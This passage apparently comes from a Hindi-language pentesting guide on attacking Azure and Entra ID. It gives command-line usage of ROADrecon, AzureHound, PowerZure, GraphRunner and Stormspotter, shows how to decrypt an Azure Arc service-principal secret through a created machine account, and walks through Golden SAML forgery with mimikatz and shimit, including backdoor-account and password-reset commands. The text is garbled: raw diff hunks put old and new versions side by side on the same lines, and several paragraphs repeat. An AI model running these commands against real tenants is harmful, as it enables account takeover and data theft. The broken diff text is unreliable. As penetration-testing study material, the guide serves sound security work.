roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
**BloodHound** वेब को **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** के साथ लॉन्च करें और `output.json` फ़ाइल आयात करें।
फिर, **EXPLORE** टैब में, **CYPHER** सेक्शन में आप एक **फोल्डर** आइकन देख सकते हैं जिसमें पूर्व-निर्मित क्वेरीज़ होती हैं।
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst में फ़ंक्शन और स्क्रिप्ट शामिल हैं जो Azure सेवाओं की खोज, कमजोर कॉन्फ़िगरेशन ऑडिटिंग, और क्रेडेंशियल डंपिंग जैसी पोस्ट एक्सप्लॉइटेशन क्रियाओं का समर्थन करते हैं। इसका उपयोग पेनट्रेशन टेस्ट के दौरान किया जाना है जहाँ Azure का उपयोग हो रहा है।
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure को Azure, EntraID, और संबंधित संसाधनों की पहचान और शोषण करने के लिए एक ढांचे की आवश्यकता के कारण बनाया गया था।
यह **Az PowerShell** मॉड्यूल का उपयोग करता है, इसलिए इस उपकरण द्वारा समर्थित कोई भी प्रमाणीकरण इस उपकरण द्वारा समर्थित है।
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner एक पोस्ट-एक्सप्लॉइटेशन टूलसेट है जो Microsoft Graph API के साथ इंटरैक्ट करने के लिए है। यह Microsoft Entra ID (Azure AD) खाते से डेटा की पहचान, स्थिरता और लूटने के लिए विभिन्न उपकरण प्रदान करता है।
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter एक Azure सब्सक्रिप्शन में संसाधनों का “हमला ग्राफ” बनाता है। यह रेड टीमों और pentesters को हमले की सतह और एक टेनेट के भीतर पिवट अवसरों को दृश्य बनाने में सक्षम बनाता है, और आपके रक्षकों को तेजी से घटना प्रतिक्रिया कार्य को प्राथमिकता देने और समायोजित करने में मदद करता है।
**दुर्भाग्यवश, यह अनदेखा लगता है**
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
@@ -13,8 +13,8 @@ Azure Arc नए आंतरिक सर्वरों (जुड़े ह
इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसमें अन्य पैरामीटर जैसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम की आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है। इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसमें अन्य पैरामीटर जैसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम की आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है।
एक एन्क्रिप्टेड सीक्रेट निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में DPAPI-NG एन्क्रिप्शन का उपयोग करके उत्पन्न होता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके ProtectBase64 द्वारा किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है। एक एन्क्रिप्टेड सीक्रेट निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में DPAPI-NG एन्क्रिप्शन का उपयोग करके उत्पन्न होता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है।
```powershell ```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID $DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID $DomainControllersSID = "SID=" + $DomainControllersSID
@@ -28,23 +28,23 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
1. हम सफलतापूर्वक आंतरिक नेटवर्क में प्रवेश कर चुके हैं। 1. हम सफलतापूर्वक आंतरिक नेटवर्क में प्रवेश कर चुके हैं।
2. हमारे पास Active Directory के भीतर एक कंप्यूटर खाते को बनाने या उस पर नियंत्रण करने की क्षमता है। 2. हमारे पास Active Directory के भीतर एक कंप्यूटर खाते को बनाने या उस पर नियंत्रण करने की क्षमता है।
3. हमने AzureArcDeploy निर्देशिका को शामिल करने वाले एक नेटवर्क शेयर का पता लगाया है। 3. हमने AzureArcDeploy निर्देशिका को समाहित करने वाले एक नेटवर्क शेयर का पता लगाया है।
AD वातावरण के भीतर एक मशीन खाते को प्राप्त करने के कई तरीके हैं। सबसे सामान्य तरीकों में से एक मशीन खाता कोटा का शोषण करना है। एक और तरीका कमजोर ACLs या विभिन्न अन्य गलत कॉन्फ़िगरेशन के माध्यम से मशीन खाते से समझौता करना है। AD वातावरण में एक मशीन खाते को प्राप्त करने के कई तरीके हैं। सबसे सामान्य तरीकों में से एक मशीन खाता कोटा का शोषण करना है। एक और तरीका कमजोर ACLs या विभिन्न अन्य गलत कॉन्फ़िगरेशन के माध्यम से मशीन खाते से समझौता करना है।
```powershell ```bash
Import-MKodule powermad Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
``` ```
एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास--टिकट का उपयोग कर सकते हैं। एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं।
```powershell ```bash
runas /user:fake01$ /netonly powershell runas /user:fake01$ /netonly powershell
``` ```
```powershell ```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
``` ```
हमारी कंप्यूटर खाता के लिए TGT को मेमोरी में संग्रहीत करके, हम सेवा प्रमुख रहस्य को डिक्रिप्ट करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं। हमारी कंप्यूटर खाता के लिए TGT को मेमोरी में संग्रहीत करके, हम सेवा प्रमुख रहस्य को डिक्रिप्ट करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं।
```powershell ```bash
Import-Module .\AzureArcDeployment.psm1 Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret" $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
@@ -22,14 +22,14 @@ phs-password-hash-sync.md
{{#endref}} {{#endref}}
- **Federation**: - **Federation**:
- SAML हस्ताक्षर के लिए उपयोग की जाने वाली निजी कुंजी की चोरी, ऑन-प्रिम और क्लाउड पहचान की नकल करने की अनुमति देती है। - SAML साइनिंग के लिए उपयोग की जाने वाली निजी कुंजी की चोरी, ऑन-प्रिम और क्लाउड पहचान की नकल करने की अनुमति देती है।
{{#ref}} {{#ref}}
federation.md federation.md
{{#endref}} {{#endref}}
- **Seamless SSO:** - **Seamless SSO:**
- `AZUREADSSOACC` उपयोगकर्ता का पासवर्ड चुराना, जिसका उपयोग Kerberos सिल्वर टिकट पर हस्ताक्षर करने के लिए किया जाता है, किसी भी क्लाउड उपयोगकर्ता की नकल करने की अनुमति देता है। - `AZUREADSSOACC` उपयोगकर्ता का पासवर्ड चुराना, जिसका उपयोग Kerberos सिल्वर टिकटों पर हस्ताक्षर करने के लिए किया जाता है, किसी भी क्लाउड उपयोगकर्ता की नकल करने की अनुमति देता है।
{{#ref}} {{#ref}}
seamless-sso.md seamless-sso.md
@@ -49,10 +49,10 @@ az-cloud-kerberos-trust.md
az-default-applications.md az-default-applications.md
{{#endref}} {{#endref}}
प्रत्येक एकीकरण विधि के लिए, उपयोगकर्ता समन्वय किया जाता है, और ऑन-प्रिम AD में एक `MSOL_<installationidentifier>` खाता बनाया जाता है। विशेष रूप से, **PHS** और **PTA** विधियाँ **Seamless SSO** की सुविधा प्रदान करती हैं, जो ऑन-प्रिम डोमेन से जुड़े Azure AD कंप्यूटरों के लिए स्वचालित साइन-इन सक्षम करती हैं। प्रत्येक एकीकरण विधि के लिए, उपयोगकर्ता समन्वय किया जाता है, और ऑन-प्रिम AD में एक `MSOL_<installationidentifier>` खाता बनाया जाता है। विशेष रूप से, दोनों **PHS** और **PTA** विधियाँ **Seamless SSO** की सुविधा प्रदान करती हैं, जो ऑन-प्रिम डोमेन से जुड़े Azure AD कंप्यूटरों के लिए स्वचालित साइन-इन सक्षम करती हैं।
**Azure AD Connect** की स्थापना की पुष्टि करने के लिए, निम्नलिखित PowerShell कमांड, **AzureADConnectHealthSync** मॉड्यूल का उपयोग करतुए (जो Azure AD Connect के साथ डिफ़ॉल्ट रूप से स्थापित होता है), का उपयोग किया जा सकता है: **Azure AD Connect** की स्थापना की पुष्टि करने के लिए, निम्नलिखित PowerShell कमांड का उपयोग किया जा सकता है, जो **AzureADConnectHealthSync** मॉड्यूल का उपयोग करत (जो Azure AD Connect के साथ डिफ़ॉल्ट रूप से स्थापित होता है):
```powershell ```bash
Get-ADSyncConnector Get-ADSyncConnector
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
@@ -1,23 +1,23 @@
# Az- नए उपयोगकर्ताओं का समन्वय # Az- Synchronising New Users
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## ऑन-प्रेम से AzureAD में बढ़ने के लिए AzureAD उपयोगकर्ताओं का समन्वय करना ## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
AzureAD से **ऑन-प्रेम AD** में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं: AzureAD से **on-prem AD** में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं:
- **AzureAD उपयोगकर्ता** के पास एक प्रॉक्सी पता होना चाहिए (एक **मेलबॉक्स**) - **AzureAD उपयोगकर्ता** के पास एक प्रॉक्सी पता होना चाहिए (एक **मेलबॉक्स**)
- लाइसेंस की आवश्यकता नहीं है - लाइसेंस की आवश्यकता नहीं है
- **पहले से समन्वयित नहीं होना चाहिए** - **पहले से समन्वयित नहीं होना चाहिए**
```powershell ```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
``` ```
जब AzureAD में ऐसे उपयोगकर्ता पाए जाते हैं, तो **on-prem AD से इसे एक्सेस करने के लिए** आपको बस **एक नया खाता बनाना** होगा जिसमें **proxyAddress** SMTP ईमेल हो। जब AzureAD में ऐसे उपयोगकर्ता पाए जाते हैं, तो **on-prem AD से इसे एक्सेस करने के लिए** आपको बस **एक नया खाता बनाना** होगा जिसमें **proxyAddress** SMTP ईमेल हो।
स्वतः, यह उपयोगकर्ता **AzureAD से on-prem AD उपयोगकर्ता के लिए सिंक हो जाएगा** स्वतः, यह उपयोगकर्ता **AzureAD से on-prem AD उपयोगकर्ता में सिंक हो जाएगा**
> [!CAUTION] > [!CAUTION]
> ध्यान दें कि इस हमले को करने के लिए आपको **Domain Admin** की आवश्यकता नहीं है, आपको बस **नए उपयोगकर्ताओं को बनाने** के लिए अनुमतियाँ चाहिए। > ध्यान दें कि इस हमले को करने के लिए आपको **Domain Admin** की आवश्यकता नहीं है, आपको बस **नए उपयोगकर्ताओं को बनाने** क अनुमति चाहिए।
> >
> इसके अलावा, यह **MFA को बायपास नहीं करेगा**। > इसके अलावा, यह **MFA को बायपास नहीं करेगा**।
> >
@@ -24,7 +24,7 @@
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा उपयोग किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जा सकता है, जो विशेष कार्यान्वयन पर निर्भर करता है। 1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा उपयोग किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जा सकता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है।
2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (सिक्योरिटी असेर्शन मार्कअप लैंग्वेज) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः मार्गदर्शित करता है। 2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (सिक्योरिटी असेर्शन मार्कअप लैंग्वेज) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः मार्गदर्शित करता है।
3. IdP आगे बढ़ता है, उपयोगकर्ता को प्रमाणीकरण करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है। 3. IdP आगे बढ़ता है, उपयोगकर्ता को प्रमाणीकरण करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है।
4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूर्ण होने का संकेत है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है। 4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूर्ण होने का संकेत है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है।
@@ -38,15 +38,15 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## Pivoting ## Pivoting
- AD FS एक क्लेम-आधारित पहचान मॉडल है। - AD FS एक क्लेम-आधारित पहचान मॉडल है।
- "..claims simply statements (for example, name, identity, group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet." - "..claims बस उपयोगकर्ताओं के बारे में किए गए बयानों (उदाहरण के लिए, नाम, पहचान, समूह) हैं, जो मुख्य रूप से इंटरनेट पर कहीं भी क्लेम-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।"
- एक उपयोगकर्ता के लिए क्लेम SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं। - एक उपयोगकर्ता के लिए क्लेम SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं।
- एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है। - एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है।
- ImmutableID को उपयोगकर्ता के लिए ms-DS-ConsistencyGuid के रूप में ऑन-प्रिम में संग्रहीत किया जाता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है। - ImmutableID उपयोगकर्ता के लिए ऑन-प्रिम में ms-DS-ConsistencyGuid पर संग्रहीत होता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है।
- अधिक जानकारी [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) में है। - अधिक जानकारी [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) में है।
**गोल्डन SAML हमला:** **गोल्डन SAML हमला:**
- ADFS में, SAML Response को एक टोकन-हस्ताक्षरित प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है। - ADFS में, SAML Response को एक टोकन-हस्ताक्षर प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है।
- यदि प्रमाणपत्र से समझौता किया जाता है, तो Azure AD में किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण करना संभव है जो Azure AD के साथ समन्वयित है! - यदि प्रमाणपत्र से समझौता किया जाता है, तो Azure AD में किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण करना संभव है जो Azure AD के साथ समन्वयित है!
- हमारे PTA दुरुपयोग की तरह, किसी उपयोगकर्ता के लिए पासवर्ड परिवर्तन या MFA का कोई प्रभाव नहीं होगा क्योंकि हम प्रमाणीकरण प्रतिक्रिया को जाली बना रहे हैं। - हमारे PTA दुरुपयोग की तरह, किसी उपयोगकर्ता के लिए पासवर्ड परिवर्तन या MFA का कोई प्रभाव नहीं होगा क्योंकि हम प्रमाणीकरण प्रतिक्रिया को जाली बना रहे हैं।
- प्रमाणपत्र को DA विशेषाधिकार के साथ AD FS सर्वर से निकाला जा सकता है और फिर इसे किसी भी इंटरनेट से जुड़े मशीन से उपयोग किया जा सकता है। - प्रमाणपत्र को DA विशेषाधिकार के साथ AD FS सर्वर से निकाला जा सकता है और फिर इसे किसी भी इंटरनेट से जुड़े मशीन से उपयोग किया जा सकता है।
@@ -54,16 +54,16 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
### गोल्डन SAML ### गोल्डन SAML
एक **पहचान प्रदाता (IdP)** द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए **SAMLResponse** उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशेष कार्यान्वयन के आधार पर, **प्रतिक्रिया** को **हस्ताक्षरित** या **एन्क्रिप्टेड** किया जा सकता है **IdP की निजी कुंजी** का उपयोग करके। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था। एक **पहचान प्रदाता (IdP)** द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए **SAMLResponse** उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** को **हस्ताक्षरित** या **एन्क्रिप्टेड** किया जा सकता है **IdP की निजी कुंजी** का उपयोग करके। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था।
[गोल्डन टिकट हमले](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षरित निजी कुंजी) को **प्रमाणीकरण वस्तु** (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है। [गोल्डन टिकट हमले](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को **प्रमाणीकरण वस्तु** (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है।
गोल्डन SAML कुछ लाभ प्रदान करते हैं: गोल्डन SAML कुछ लाभ प्रदान करते हैं:
- इन्हें **दूरस्थ रूप से** बनाया जा सकता है, बिना डोमेन या संघ का हिस्सा बने। - इन्हें **दूरस्थ रूप से** बनाया जा सकता है, बिना डोमेन या संघ का हिस्सा बने।
- ये **दो-कारक प्रमाणीकरण (2FA)** सक्षम होने पर भी प्रभावी रहते हैं। - ये **दो-कारक प्रमाणीकरण (2FA)** सक्षम होने पर भी प्रभावी रहते हैं।
- टोकन-हस्ताक्षरित **निजी कुंजी स्वचालित रूप से नवीनीकरण नहीं करती** - टोकन-हस्ताक्षर **निजी कुंजी स्वचालित रूप से नवीनीकरण नहीं करती**
- **किसी उपयोगकर्ता का पासवर्ड बदलने से** पहले से उत्पन्न SAML अमान्य नहीं होता है - **किसी उपयोगकर्ता का पासवर्ड बदलने से पहले से उत्पन्न SAML अमान्य नहीं होता**
#### AWS + AD FS + गोल्डन SAML #### AWS + AD FS + गोल्डन SAML
@@ -73,18 +73,18 @@ AWS द्वारा समझौता किए गए डोमेन (ए
गोल्डन SAML हमले को निष्पादित करने के लिए आवश्यकताएँ हैं: गोल्डन SAML हमले को निष्पादित करने के लिए आवश्यकताएँ हैं:
- **टोकन-हस्ताक्षरित निजी कुंजी** - **टोकन-हस्ताक्षर निजी कुंजी**
- **IdP सार्वजनिक प्रमाणपत्र** - **IdP सार्वजनिक प्रमाणपत्र**
- **IdP नाम** - **IdP नाम**
- **भूमिका नाम (धारण करने के लिए भूमिका)** - **भूमिका नाम (धारण करने के लिए भूमिका)**
- डोमेन\उपयोगकर्ता नाम - डोमेन\उपयोगकर्ता नाम
- AWS में भूमिका सत्र का नाम - AWS में भूमिका सत्र नाम
- अमेज़न खाता आईडी - अमेज़न खाता आईडी
_केवल बोल्ड में दिए गए आइटम अनिवार्य हैं। अन्य को इच्छानुसार भरा जा सकता है।_ _केवल बोल्ड में दिए गए आइटम अनिवार्य हैं। अन्य को इच्छानुसार भरा जा सकता है।_
**निजी कुंजी** प्राप्त करने के लिए, **AD FS उपयोगकर्ता खाते** तक पहुंच आवश्यक है। वहां से, निजी कुंजी को [mimikatz](https://github.com/gentilkiwi/mimikatz) जैसे उपकरणों का उपयोग करके **व्यक्तिगत स्टोर से निर्यात** किया जा सकता है। अन्य आवश्यक जानकारी एकत्र करने के लिए, आप Microsoft.Adfs.Powershell स्नैपिन का उपयोग कर सकते हैं, यह सुनिश्चित करते हुए कि आप ADFS उपयोगकर्ता के रूप में लॉग इन हैं: **निजी कुंजी** प्राप्त करने के लिए, **AD FS उपयोगकर्ता खाते** तक पहुंच आवश्यक है। वहां से, निजी कुंजी को [mimikatz](https://github.com/gentilkiwi/mimikatz) जैसे उपकरणों का उपयोग करके **व्यक्तिगत स्टोर से निर्यात** किया जा सकता है। अन्य आवश्यक जानकारी एकत्र करने के लिए, आप Microsoft.Adfs.Powershell स्नैपिन का उपयोग कर सकते हैं, यह सुनिश्चित करते हुए कि आप ADFS उपयोगकर्ता के रूप में लॉग इन हैं:
```powershell ```bash
# From an "AD FS" session # From an "AD FS" session
# After having exported the key with mimikatz # After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### ऑन-प्रेम -> क्लाउड ### ऑन-प्रेम -> क्लाउड
```powershell ```bash
# With a domain user you can get the ImmutableID of the target user # With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray()) [System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
